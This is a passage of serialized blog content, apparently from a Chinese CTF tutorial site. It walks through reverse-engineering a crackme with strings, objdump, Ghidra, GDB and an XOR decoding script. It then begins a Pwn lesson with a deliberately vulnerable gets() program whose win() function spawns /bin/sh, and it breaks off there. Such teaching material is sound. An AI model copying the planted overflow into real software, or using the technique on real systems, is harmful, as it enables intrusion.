",[52,1180,1181],{},"checkflag"," 为例，逐步演示。",[10,1184,1186],{"id":1185},"三核心步骤-1侦查","三、核心步骤 1：侦查",[15,1188,1189,1191],{},[316,1190,318],{},"：在不运行程序的情况下，先收集\"程序是什么、里面写了什么字符串\"。",[15,1193,1194,1196],{},[316,1195,385],{},"：程序类型决定用什么工具（ELF 用 objdump，PE 用其他）；字符串往往直接暴露提示、密钥甚至 flag。先做最便宜的三件事，通常能直接定位简单题。",[309,1198,1200],{"id":1199},"_31-file看文件类型","3.1 file：看文件类型",[15,1202,1203],{},"输入：",[97,1205,1207],{"className":259,"code":1206,"language":261,"meta":102,"style":102},"file checkflag\n",[52,1208,1209],{"__ignoreMap":102},[106,1210,1211,1214],{"class":108,"line":109},[106,1212,1213],{"class":268},"file",[106,1215,1216],{"class":272}," checkflag\n",[15,1218,1219],{},"预期输出：",[97,1221,1224],{"className":1222,"code":1223,"language":215,"meta":102},[213],"checkflag: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped\n",[52,1225,1223],{"__ignoreMap":102},[15,1227,1228,1229,1232,1233,1236],{},"重点看最后：",[52,1230,1231],{},"not stripped"," 表示符号表还在，函数名（main、check）可见；如果是 ",[52,1234,1235],{},"stripped","，函数名被删，难度更高。",[15,1238,1239,1241],{},[316,1240,318],{},"：确认我们面对的是 ELF 还是 PE、多少位、是否被 strip。这决定后续用 objdump 还是其他工具，以及能否直接看到函数名。",[309,1243,1245],{"id":1244},"_32-strings提取字符串","3.2 strings：提取字符串",[15,1247,1203],{},[97,1249,1251],{"className":259,"code":1250,"language":261,"meta":102,"style":102},"strings checkflag\n",[52,1252,1253],{"__ignoreMap":102},[106,1254,1255,1258],{"class":108,"line":109},[106,1256,1257],{"class":268},"strings",[106,1259,1216],{"class":272},[15,1261,1219],{},[97,1263,1266],{"className":1264,"code":1265,"language":215,"meta":102},[213],"/lib64/ld-linux-x86-64.so.2\nUsage: ./checkflag \u003Cflag>\nCorrect!\nWrong!\n",[52,1267,1265],{"__ignoreMap":102},[15,1269,1270,1271,1273,1274,1277],{},"三个提示字符串都出来了，但还没有 flag。注意 ",[52,1272,1257],{}," 默认只显示长度 ≥ 4 的字符串，短字符串用 ",[52,1275,1276],{},"-n"," 指定：",[97,1279,1281],{"className":259,"code":1280,"language":261,"meta":102,"style":102},"strings -n 3 checkflag\n",[52,1282,1283],{"__ignoreMap":102},[106,1284,1285,1287,1290,1293],{"class":108,"line":109},[106,1286,1257],{"class":268},[106,1288,1289],{"class":515}," -n",[106,1291,1292],{"class":515}," 3",[106,1294,1216],{"class":272},[15,1296,1297],{},"如果程序用 XOR 加密了 flag，strings 只能看到提示，看不到明文，需要继续分析。",[15,1299,1300,1302],{},[316,1301,318],{},"：把文件里所有可打印字符串列出来，找\"提示/密钥/硬编码密文\"。",[15,1304,1305,1307,1308,1311,1312,1311,1315,1318,1319,1322,1323,1326],{},[316,1306,385],{},"：输出里的 ",[52,1309,1310],{},"Usage: ./checkflag \u003Cflag>","、",[52,1313,1314],{},"Correct!",[52,1316,1317],{},"Wrong!"," 说明这是个接收参数的校验程序；如果看到可疑短串（如 ",[52,1320,1321],{},"k3y","），先用 ",[52,1324,1325],{},"-n 3"," 确认——可能正是加密密钥。",[309,1328,1330],{"id":1329},"_33-运行程序观察行为","3.3 运行程序观察行为",[97,1332,1334],{"className":259,"code":1333,"language":261,"meta":102,"style":102},"./checkflag test\n",[52,1335,1336],{"__ignoreMap":102},[106,1337,1338,1341],{"class":108,"line":109},[106,1339,1340],{"class":268},"./checkflag",[106,1342,1135],{"class":272},[15,1344,1345,1346,643],{},"输出：",[52,1347,1317],{},[97,1349,1351],{"className":259,"code":1350,"language":261,"meta":102,"style":102},"./checkflag AAAAAAAAAAAAAAAAAAAAAAAA\n",[52,1352,1353],{"__ignoreMap":102},[106,1354,1355,1357],{"class":108,"line":109},[106,1356,1340],{"class":268},[106,1358,1359],{"class":272}," AAAAAAAAAAAAAAAAAAAAAAAA\n",[15,1361,1345,1362,1364],{},[52,1363,1317],{},"。行为确认：带一个参数，对就 Correct，错就 Wrong。",[15,1366,1367,1369],{},[316,1368,318],{},"：确认输入输出格式（参数个数、提示文字），为后续在反汇编里找\"打印 Correct 的分支\"做准备。",[10,1371,1373],{"id":1372},"四核心步骤-2反汇编","四、核心步骤 2：反汇编",[15,1375,1376,1378],{},[316,1377,318],{},"：找到程序\"判断对错\"的那段代码，弄清校验逻辑。",[15,1380,1381,1383,1384,1387,1388,1391,1392,1395],{},[316,1382,385],{},"：程序要么比较字符串（",[52,1385,1386],{},"strcmp","），要么逐字节运算（XOR 等）。反汇编里找 ",[52,1389,1390],{},"call","（函数调用）和 ",[52,1393,1394],{},"je/jne","（条件跳转）就能定位判断点。",[309,1397,1399],{"id":1398},"_41-objdump-看-main","4.1 objdump 看 main",[15,1401,1203],{},[97,1403,1405],{"className":259,"code":1404,"language":261,"meta":102,"style":102},"objdump -d -M intel checkflag\n",[52,1406,1407],{"__ignoreMap":102},[106,1408,1409,1412,1415,1418,1421],{"class":108,"line":109},[106,1410,1411],{"class":268},"objdump",[106,1413,1414],{"class":515}," -d",[106,1416,1417],{"class":515}," -M",[106,1419,1420],{"class":272}," intel",[106,1422,1216],{"class":272},[15,1424,1425],{},"输出很长，用 grep 只看 main：",[97,1427,1429],{"className":259,"code":1428,"language":261,"meta":102,"style":102},"objdump -d -M intel checkflag | grep -A 40 '\u003Cmain>'\n",[52,1430,1431],{"__ignoreMap":102},[106,1432,1433,1435,1437,1439,1441,1444,1447,1450,1453,1456,1460,1463],{"class":108,"line":109},[106,1434,1411],{"class":268},[106,1436,1414],{"class":515},[106,1438,1417],{"class":515},[106,1440,1420],{"class":272},[106,1442,1443],{"class":272}," checkflag",[106,1445,1446],{"class":1116}," |",[106,1448,1449],{"class":268}," grep",[106,1451,1452],{"class":515}," -A",[106,1454,1455],{"class":515}," 40",[106,1457,1459],{"class":1458},"seVfx"," '",[106,1461,1462],{"class":272},"\u003Cmain>",[106,1464,1465],{"class":1458},"'\n",[15,1467,1468],{},"预期输出（节选）：",[97,1470,1474],{"className":1471,"code":1472,"language":1473,"meta":102,"style":102},"language-asm shiki shiki-themes dracula","0000000000001189 \u003Cmain>:\n    1189:  push   rbp\n    118a:  mov    rbp, rsp\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n    11a7:  lea    rdi, [rip+0x2ea]\n    11ae:  call   puts@plt\n","asm",[52,1475,1476,1481,1486,1491,1496,1501,1506,1511,1516,1521],{"__ignoreMap":102},[106,1477,1478],{"class":108,"line":109},[106,1479,1480],{},"0000000000001189 \u003Cmain>:\n",[106,1482,1483],{"class":108,"line":115},[106,1484,1485],{},"    1189:  push   rbp\n",[106,1487,1488],{"class":108,"line":121},[106,1489,1490],{},"    118a:  mov    rbp, rsp\n",[106,1492,1493],{"class":108,"line":128},[106,1494,1495],{},"    1191:  cmp    edi, 0x2\n",[106,1497,1498],{"class":108,"line":134},[106,1499,1500],{},"    1194:  jne    0x11a0\n",[106,1502,1503],{"class":108,"line":140},[106,1504,1505],{},"    119e:  call   0x1149 \u003Ccheck>\n",[106,1507,1508],{"class":108,"line":146},[106,1509,1510],{},"    11a3:  test   eax, eax\n",[106,1512,1513],{"class":108,"line":151},[106,1514,1515],{},"    11a5:  je     0x11b5\n",[106,1517,1518],{"class":108,"line":157},[106,1519,1520],{},"    11a7:  lea    rdi, [rip+0x2ea]\n",[106,1522,1523],{"class":108,"line":163},[106,1524,1525],{},"    11ae:  call   puts@plt\n",[15,1527,1528],{},"逐行解释：",[19,1530,1531,1541],{},[22,1532,1533],{},[25,1534,1535,1538],{},[28,1536,1537],{},"指令",[28,1539,1540],{},"含义",[38,1542,1543,1553,1563,1573],{},[25,1544,1545,1550],{},[43,1546,1547],{},[52,1548,1549],{},"cmp edi, 0x2",[43,1551,1552],{},"比较参数个数 argc 是否为 2",[25,1554,1555,1560],{},[43,1556,1557],{},[52,1558,1559],{},"call check",[43,1561,1562],{},"调用校验函数 check",[25,1564,1565,1570],{},[43,1566,1567],{},[52,1568,1569],{},"test eax, eax",[43,1571,1572],{},"检查返回值是否为 0",[25,1574,1575,1580],{},[43,1576,1577],{},[52,1578,1579],{},"je 0x11b5",[43,1581,1582],{},"为 0 则跳到打印 Wrong 的地方",[15,1584,1585,1586,1589],{},"结论：逻辑在 ",[52,1587,1588],{},"check"," 函数里。",[15,1591,1592,493,1595,1597,1598,1600,1601,1604,1605,1607,1608,643],{},[316,1593,1594],{},"怎么想到看 check",[52,1596,1559],{}," 之后紧跟 ",[52,1599,1569],{}," 和 ",[52,1602,1603],{},"je","，这是典型的\"函数返回结果决定分支\"结构——",[52,1606,1588],{}," 的返回值非 0 才打印 Correct。所以下一步只看 ",[52,1609,1588],{},[309,1611,1613],{"id":1612},"_42-看-check","4.2 看 check",[97,1615,1617],{"className":259,"code":1616,"language":261,"meta":102,"style":102},"objdump -d -M intel checkflag | grep -A 50 '\u003Ccheck>'\n",[52,1618,1619],{"__ignoreMap":102},[106,1620,1621,1623,1625,1627,1629,1631,1633,1635,1637,1640,1642,1645],{"class":108,"line":109},[106,1622,1411],{"class":268},[106,1624,1414],{"class":515},[106,1626,1417],{"class":515},[106,1628,1420],{"class":272},[106,1630,1443],{"class":272},[106,1632,1446],{"class":1116},[106,1634,1449],{"class":268},[106,1636,1452],{"class":515},[106,1638,1639],{"class":515}," 50",[106,1641,1459],{"class":1458},[106,1643,1644],{"class":272},"\u003Ccheck>",[106,1646,1465],{"class":1458},[15,1648,1649],{},"如果看到：",[97,1651,1653],{"className":1471,"code":1652,"language":1473,"meta":102,"style":102},"call   strcmp@plt\ntest   eax, eax\nje     ...\n",[52,1654,1655,1660,1665],{"__ignoreMap":102},[106,1656,1657],{"class":108,"line":109},[106,1658,1659],{},"call   strcmp@plt\n",[106,1661,1662],{"class":108,"line":115},[106,1663,1664],{},"test   eax, eax\n",[106,1666,1667],{"class":108,"line":121},[106,1668,1669],{},"je     ...\n",[15,1671,1672,1673,1676],{},"说明是字符串比较，flag 就藏在 ",[52,1674,1675],{},".rodata"," 里。",[15,1678,1679,493,1682,1685,1686,1689,1690,1692],{},[316,1680,1681],{},"验证方式",[52,1683,1684],{},"call strcmp@plt"," 前面通常有一条 ",[52,1687,1688],{},"lea rsi, [rip+...]"," 把要比较的字符串地址装进 rsi。记下那个地址，去 ",[52,1691,1675],{}," 里找内容即可。",[309,1694,1696],{"id":1695},"_43-看只读数据段","4.3 看只读数据段",[97,1698,1700],{"className":259,"code":1699,"language":261,"meta":102,"style":102},"objdump -s -j .rodata checkflag\n",[52,1701,1702],{"__ignoreMap":102},[106,1703,1704,1706,1709,1712,1715],{"class":108,"line":109},[106,1705,1411],{"class":268},[106,1707,1708],{"class":515}," -s",[106,1710,1711],{"class":515}," -j",[106,1713,1714],{"class":272}," .rodata",[106,1716,1216],{"class":272},[15,1718,1219],{},[97,1720,1723],{"className":1721,"code":1722,"language":215,"meta":102},[213],"...\n 402000 636f6e67726174756c6174696f6e73 00   \"congratulations\"\n",[52,1724,1722],{"__ignoreMap":102},[15,1726,1727,1728,1731,1732,643],{},"ASCII 十六进制 ",[52,1729,1730],{},"63 6f 6e 67..."," 解出来就是 ",[52,1733,1734],{},"congratulations",[15,1736,1737,1740,1741,1743,1744,1747],{},[316,1738,1739],{},"为什么 flag 会在 .rodata","：字符串常量编译后存放在只读数据段 ",[52,1742,1675],{},"，",[52,1745,1746],{},"objdump -s"," 直接按字节显示，右侧还附了 ASCII 明文。",[309,1749,1751],{"id":1750},"_44-用-ghidra-反编译更省力","4.4 用 Ghidra 反编译（更省力）",[15,1753,1754],{},"Ghidra 是 NSA 开源的免费反编译器。安装：",[97,1756,1758],{"className":259,"code":1757,"language":261,"meta":102,"style":102},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip\ncd ghidra_*_PUBLIC && ./ghidraRun\n",[52,1759,1760,1772,1787,1799],{"__ignoreMap":102},[106,1761,1762,1764,1766,1769],{"class":108,"line":109},[106,1763,1158],{"class":268},[106,1765,273],{"class":272},[106,1767,1768],{"class":272}," openjdk-21-jdk",[106,1770,1771],{"class":272}," unzip\n",[106,1773,1774,1777,1780,1784],{"class":108,"line":115},[106,1775,1776],{"class":268},"wget",[106,1778,1779],{"class":272}," https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_",[106,1781,1783],{"class":1782},"sqerP","*",[106,1785,1786],{"class":272},".zip\n",[106,1788,1789,1792,1795,1797],{"class":108,"line":121},[106,1790,1791],{"class":268},"unzip",[106,1793,1794],{"class":272}," ghidra_",[106,1796,1783],{"class":1782},[106,1798,1786],{"class":272},[106,1800,1801,1805,1807,1809,1812,1815],{"class":108,"line":128},[106,1802,1804],{"class":1803},"sLL85","cd",[106,1806,1794],{"class":272},[106,1808,1783],{"class":1782},[106,1810,1811],{"class":272},"_PUBLIC",[106,1813,1814],{"class":1123}," && ",[106,1816,1817],{"class":268},"./ghidraRun\n",[15,1819,1820],{},"操作步骤：",[631,1822,1823,1826,1832,1835],{},[634,1824,1825],{},"File → New Project → 命名。",[634,1827,1828,1829,1831],{},"把 ",[52,1830,1181],{}," 拖进项目，双击导入。",[634,1833,1834],{},"等待自动分析完成。",[634,1836,1837,1838,1841],{},"左侧 Symbol Tree 双击 ",[52,1839,1840],{},"main","，右侧 Decompiler 显示伪代码。",[15,1843,1844],{},"预期伪代码：",[97,1846,1850],{"className":1847,"code":1848,"language":1849,"meta":102,"style":102},"language-c shiki shiki-themes dracula","if (strcmp(argv[1], \"congratulations\") == 0)\n    puts(\"Correct!\");\nelse\n    puts(\"Wrong!\");\n","c",[52,1851,1852,1857,1862,1867],{"__ignoreMap":102},[106,1853,1854],{"class":108,"line":109},[106,1855,1856],{},"if (strcmp(argv[1], \"congratulations\") == 0)\n",[106,1858,1859],{"class":108,"line":115},[106,1860,1861],{},"    puts(\"Correct!\");\n",[106,1863,1864],{"class":108,"line":121},[106,1865,1866],{},"else\n",[106,1868,1869],{"class":108,"line":128},[106,1870,1871],{},"    puts(\"Wrong!\");\n",[15,1873,1874],{},"flag 直接可见。",[10,1876,1878],{"id":1877},"五核心步骤-3gdb-动态调试","五、核心步骤 3：GDB 动态调试",[15,1880,1881],{},"静态分析看不懂时，让程序跑起来。",[15,1883,1884,1886],{},[316,1885,318],{},"：在真实执行现场观察\"比较发生时寄存器里到底装了什么\"。",[15,1888,1889,1891,1892,1895],{},[316,1890,385],{},"：下断点停在 check 入口 → 带参数运行 → 单步走到 ",[52,1893,1894],{},"call strcmp"," → 查看 rsi（第二个参数）指向的字符串，那就是程序期望的 flag。",[97,1897,1899],{"className":259,"code":1898,"language":261,"meta":102,"style":102},"gdb ./checkflag\n",[52,1900,1901],{"__ignoreMap":102},[106,1902,1903,1906],{"class":108,"line":109},[106,1904,1905],{"class":268},"gdb",[106,1907,1105],{"class":272},[15,1909,1910],{},"进入 GDB 交互后：",[309,1912,1914],{"id":1913},"_51-下断点","5.1 下断点",[97,1916,1919],{"className":1917,"code":1918,"language":1905,"meta":102,"style":102},"language-gdb shiki shiki-themes dracula","(gdb) break check\n",[52,1920,1921],{"__ignoreMap":102},[106,1922,1923],{"class":108,"line":109},[106,1924,1918],{},[15,1926,1219],{},[97,1928,1931],{"className":1929,"code":1930,"language":215,"meta":102},[213],"Breakpoint 1 at 0x1149\n",[52,1932,1930],{"__ignoreMap":102},[309,1934,1936],{"id":1935},"_52-带参数运行","5.2 带参数运行",[97,1938,1940],{"className":1917,"code":1939,"language":1905,"meta":102,"style":102},"(gdb) run test\n",[52,1941,1942],{"__ignoreMap":102},[106,1943,1944],{"class":108,"line":109},[106,1945,1939],{},[15,1947,1219],{},[97,1949,1952],{"className":1950,"code":1951,"language":215,"meta":102},[213],"Breakpoint 1, 0x0000555555555149 in check ()\n",[52,1953,1951],{"__ignoreMap":102},[15,1955,1956],{},"程序停在 check 入口。",[309,1958,1960],{"id":1959},"_53-查看即将执行的指令","5.3 查看即将执行的指令",[97,1962,1964],{"className":1917,"code":1963,"language":1905,"meta":102,"style":102},"(gdb) x/20i $rip\n",[52,1965,1966],{"__ignoreMap":102},[106,1967,1968],{"class":108,"line":109},[106,1969,1963],{},[15,1971,1972],{},"输出 check 函数开头的 20 条汇编。",[309,1974,1976],{"id":1975},"_54-单步并观察比较","5.4 单步并观察比较",[97,1978,1980],{"className":1917,"code":1979,"language":1905,"meta":102,"style":102},"(gdb) stepi\n",[52,1981,1982],{"__ignoreMap":102},[106,1983,1984],{"class":108,"line":109},[106,1985,1979],{},[15,1987,1988,1989,1991],{},"反复执行直到看到 ",[52,1990,1684],{},"。然后：",[97,1993,1995],{"className":1917,"code":1994,"language":1905,"meta":102,"style":102},"(gdb) x/s $rsi\n",[52,1996,1997],{"__ignoreMap":102},[106,1998,1999],{"class":108,"line":109},[106,2000,1994],{},[15,2002,2003],{},"预期输出：程序正在比较的字符串，即 flag。",[15,2005,2006,493,2009,2012,2013,2016,2017,2020,2021,2012,2024,2026],{},[316,2007,2008],{},"补充说明",[52,2010,2011],{},"x/s"," 的 ",[52,2014,2015],{},"s"," 表示按字符串显示；",[52,2018,2019],{},"$rsi"," 是 x86-64 的第 2 个参数寄存器，",[52,2022,2023],{},"strcmp(a, b)",[52,2025,658],{}," 就存在这里。",[15,2028,2029,2030,2033],{},"补充：如果嫌 GDB 麻烦，",[52,2031,2032],{},"ltrace"," 直接跟踪库调用：",[97,2035,2037],{"className":259,"code":2036,"language":261,"meta":102,"style":102},"ltrace ./checkflag test\n",[52,2038,2039],{"__ignoreMap":102},[106,2040,2041,2043,2045],{"class":108,"line":109},[106,2042,2032],{"class":268},[106,2044,1113],{"class":272},[106,2046,1135],{"class":272},[15,2048,2049],{},"预期输出中会出现：",[97,2051,2054],{"className":2052,"code":2053,"language":215,"meta":102},[213],"strcmp(\"test\", \"congratulations\") = 1\n",[52,2055,2053],{"__ignoreMap":102},[15,2057,2058],{},"flag 一目了然。",[15,2060,2061,2064],{},[316,2062,2063],{},"ltrace 的原理","：它拦截并打印程序对共享库函数的调用，包括参数值。遇到 strcmp 类题目比 GDB 快得多，但不能用来调试自己写的代码。",[10,2066,830],{"id":829},[19,2068,2069,2082],{},[22,2070,2071],{},[25,2072,2073,2076,2079],{},[28,2074,2075],{},"工具",[28,2077,2078],{},"核心功能",[28,2080,2081],{},"命令示例",[38,2083,2084,2096,2114,2129],{},[25,2085,2086,2088,2091],{},[43,2087,1213],{},[43,2089,2090],{},"看类型、位数、是否 stripped",[43,2092,2093],{},[52,2094,2095],{},"file checkflag",[25,2097,2098,2100,2103],{},[43,2099,1257],{},[43,2101,2102],{},"提取字符串、指定最小长度、管道过滤",[43,2104,2105,1311,2108,1311,2111],{},[52,2106,2107],{},"strings checkflag",[52,2109,2110],{},"strings -n 3 a",[52,2112,2113],{},"strings a | grep flag",[25,2115,2116,2118,2121],{},[43,2117,1411],{},[43,2119,2120],{},"反汇编、看数据段、Intel 语法",[43,2122,2123,1311,2126],{},[52,2124,2125],{},"objdump -d -M intel a",[52,2127,2128],{},"objdump -s -j .rodata a",[25,2130,2131,2134,2137],{},[43,2132,2133],{},"GDB",[43,2135,2136],{},"断点、运行、看内存/寄存器",[43,2138,2139,1311,2142,1311,2145],{},[52,2140,2141],{},"break check",[52,2143,2144],{},"run",[52,2146,2147],{},"x/20i $rip",[15,2149,2150,2151,2153,2154,2157],{},"另：Ghidra 负责把汇编还原成伪代码；",[52,2152,2032],{},"/",[52,2155,2156],{},"strace"," 负责快速跟踪函数与系统调用。",[10,2159,2161],{"id":2160},"七小-ctf-实战一个-xor-加密的-crackme","七、小 CTF 实战：一个 XOR 加密的 CrackMe",[15,2163,2164,2165,2168],{},"题目：",[52,2166,2167],{},"crackme","，校验函数把输入和密钥异或后与密文比较。",[309,2170,2172],{"id":2171},"第一步侦查","第一步：侦查",[15,2174,2175,2177],{},[316,2176,318],{},"：先找密钥与提示。",[15,2179,2180,493,2182,2184,2185,2187,2188,2190],{},[316,2181,385],{},[52,2183,1257],{}," 默认漏掉短串，所以用 ",[52,2186,1325],{},"；看到 ",[52,2189,1321],{}," 猜测是 XOR 密钥，接下来去确认校验函数。",[97,2192,2194],{"className":259,"code":2193,"language":261,"meta":102,"style":102},"strings -n 3 crackme\n",[52,2195,2196],{"__ignoreMap":102},[106,2197,2198,2200,2202,2204],{"class":108,"line":109},[106,2199,1257],{"class":268},[106,2201,1289],{"class":515},[106,2203,1292],{"class":515},[106,2205,2206],{"class":272}," crackme\n",[15,2208,2209,2210,2212],{},"预期输出中有 ",[52,2211,1321],{},"——疑似密钥。",[309,2214,2216],{"id":2215},"第二步反编译-check","第二步：反编译 check",[15,2218,2219,2221],{},[316,2220,318],{},"：确认密钥如何使用、密文数组是什么。",[15,2223,2224,2226,2227,2230],{},[316,2225,1681],{},"：伪代码 ",[52,2228,2229],{},"input[i] ^ key[i%3] != enc[i]"," 说明每一位输入与 key 循环异或后要和 enc 相等——逆向就是再异或一次。",[15,2232,2233,2234,2236],{},"用 Ghidra 打开，",[52,2235,1588],{}," 伪代码：",[97,2238,2240],{"className":1847,"code":2239,"language":1849,"meta":102,"style":102},"if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[52,2241,2242],{"__ignoreMap":102},[106,2243,2244],{"class":108,"line":109},[106,2245,2239],{},[309,2247,2249],{"id":2248},"第三步写脚本逆运算","第三步：写脚本逆运算",[15,2251,2252,2254],{},[316,2253,318],{},"：把\"加密\"反过来算，得到明文。",[15,2256,2257,2259,2260,2263],{},[316,2258,385],{},"：异或的自反性 ",[52,2261,2262],{},"A^B=C => C^B=A","。对密文数组的每一位，用 key 按位置循环异或，即还原明文。",[97,2265,2267],{"className":99,"code":2266,"language":101,"meta":102,"style":102},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"                                        # 从 strings 找到的密钥\nflag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n# 所以 flag[i] = enc[i] ^ key[i%3]。\nprint(flag.decode())\n# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[52,2268,2269,2274,2279,2284,2289,2294,2299,2304,2309,2314,2319,2324],{"__ignoreMap":102},[106,2270,2271],{"class":108,"line":109},[106,2272,2273],{},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[106,2275,2276],{"class":108,"line":115},[106,2277,2278],{},"       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[106,2280,2281],{"class":108,"line":121},[106,2282,2283],{},"       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\n",[106,2285,2286],{"class":108,"line":128},[106,2287,2288],{},"key = b\"k3y\"                                        # 从 strings 找到的密钥\n",[106,2290,2291],{"class":108,"line":134},[106,2292,2293],{},"flag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n",[106,2295,2296],{"class":108,"line":140},[106,2297,2298],{},"# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n",[106,2300,2301],{"class":108,"line":146},[106,2302,2303],{},"# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n",[106,2305,2306],{"class":108,"line":151},[106,2307,2308],{},"# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n",[106,2310,2311],{"class":108,"line":157},[106,2312,2313],{},"# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n",[106,2315,2316],{"class":108,"line":163},[106,2317,2318],{},"# 所以 flag[i] = enc[i] ^ key[i%3]。\n",[106,2320,2321],{"class":108,"line":169},[106,2322,2323],{},"print(flag.decode())\n",[106,2325,2326],{"class":108,"line":174},[106,2327,2328],{},"# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[15,2330,1345],{},[97,2332,2335],{"className":2333,"code":2334,"language":215,"meta":102},[213],"ctf{reverse_engineering}\n",[52,2336,2334],{"__ignoreMap":102},[309,2338,2340],{"id":2339},"第四步验证","第四步：验证",[97,2342,2344],{"className":259,"code":2343,"language":261,"meta":102,"style":102},"./crackme ctf{reverse_engineering}\n",[52,2345,2346],{"__ignoreMap":102},[106,2347,2348,2351],{"class":108,"line":109},[106,2349,2350],{"class":268},"./crackme",[106,2352,2353],{"class":272}," ctf{reverse_engineering}\n",[15,2355,1345,2356,643],{},[52,2357,1314],{},[10,2359,1045],{"id":1044},[15,2361,2362,2363,2153,2365,2367,2368,2370],{},"逆向入门三步：",[52,2364,1213],{},[52,2366,1257],{}," 侦查 → ",[52,2369,1411],{},"/Ghidra 定位校验函数 → GDB 验证。大部分入门题要么字符串直接可见，要么只是一个异或，逆运算一行脚本即可解决。",[1050,2372,2373],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":102,"searchDepth":115,"depth":115,"links":2375},[2376,2377,2378,2379,2380,2381,2382,2383],{"id":1085,"depth":121,"text":1086},{"id":255,"depth":121,"text":256},{"id":1185,"depth":121,"text":1186},{"id":1372,"depth":121,"text":1373},{"id":1877,"depth":121,"text":1878},{"id":829,"depth":121,"text":830},{"id":2160,"depth":121,"text":2161},{"id":1044,"depth":121,"text":1045},"完整演示逆向三板斧：file/strings 侦查、objdump 反汇编定位校验函数、GDB 动态调试，并举例一个CrackMe。",{"date":1066,"image":2386,"alt":2387,"tags":2388,"published":124},"/blogs-img/blog1.png","CTF 逆向入门",[1070,2389,1072],"reverse","/blogs/ctf-reverse-overview",{"title":1080,"description":2384},"blogs/10. ctf-reverse-overview","-PAtS7ArHlkJGQ0r9XrzjT8-num-kddi5E7M-GpdxHI",{"id":2395,"title":2396,"body":2397,"description":3259,"extension":1064,"meta":3260,"navigation":124,"ogImage":3261,"path":3264,"seo":3265,"stem":3266,"__hash__":3267},"content/blogs/11. ctf-pwn-overview.md","CTF Pwn 入门：栈布局、checksec 与 pwntools",{"type":7,"value":2398,"toc":3247},[2399,2403,2410,2416,2418,2420,2446,2450,2456,2551,2554,2590,2594,2599,2604,2606,2622,2624,2630,2633,2691,2695,2701,2707,2714,2783,2788,2792,2796,2834,2836,2842,2846,2854,2864,2873,2877,2922,2932,2936,2941,2946,3015,3018,3024,3035,3039,3114,3118,3126,3129,3142,3153,3158,3163,3220,3222,3228,3232,3244],[10,2400,2402],{"id":2401},"一现实背景gets-为什么危险","一、现实背景：gets 为什么危险",[15,2404,2405,2406,2409],{},"C 语言函数 ",[52,2407,2408],{},"gets"," 不检查输入长度。缓冲区只有 32 字节，输入 100 字节时，多出的 68 字节会写进相邻内存，覆盖函数调用信息。现代系统为对抗这类问题启用了防护（栈金丝雀、地址随机化等），Pwn 方向就是研究如何在防护下完成利用。",[15,2411,2412,2413,643],{},"本文只讲一条主线：",[316,2414,2415],{},"栈溢出 → 覆盖返回地址 → 跳转执行目标函数",[10,2417,256],{"id":255},[15,2419,1148],{},[97,2421,2423],{"className":259,"code":2422,"language":261,"meta":102,"style":102},"apt install gcc gdb\npip3 install pwntools\n",[52,2424,2425,2437],{"__ignoreMap":102},[106,2426,2427,2429,2431,2434],{"class":108,"line":109},[106,2428,1158],{"class":268},[106,2430,273],{"class":272},[106,2432,2433],{"class":272}," gcc",[106,2435,2436],{"class":272}," gdb\n",[106,2438,2439,2441,2443],{"class":108,"line":115},[106,2440,269],{"class":268},[106,2442,273],{"class":272},[106,2444,2445],{"class":272}," pwntools\n",[10,2447,2449],{"id":2448},"三漏洞程序与编译","三、漏洞程序与编译",[15,2451,2452,2453,493],{},"保存 ",[52,2454,2455],{},"vuln.c",[97,2457,2459],{"className":1847,"code":2458,"language":1849,"meta":102,"style":102},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nvoid vuln() {\n    char buf[32];\n    gets(buf);\n}\n\nint main() {\n    setvbuf(stdout, NULL, _IONBF, 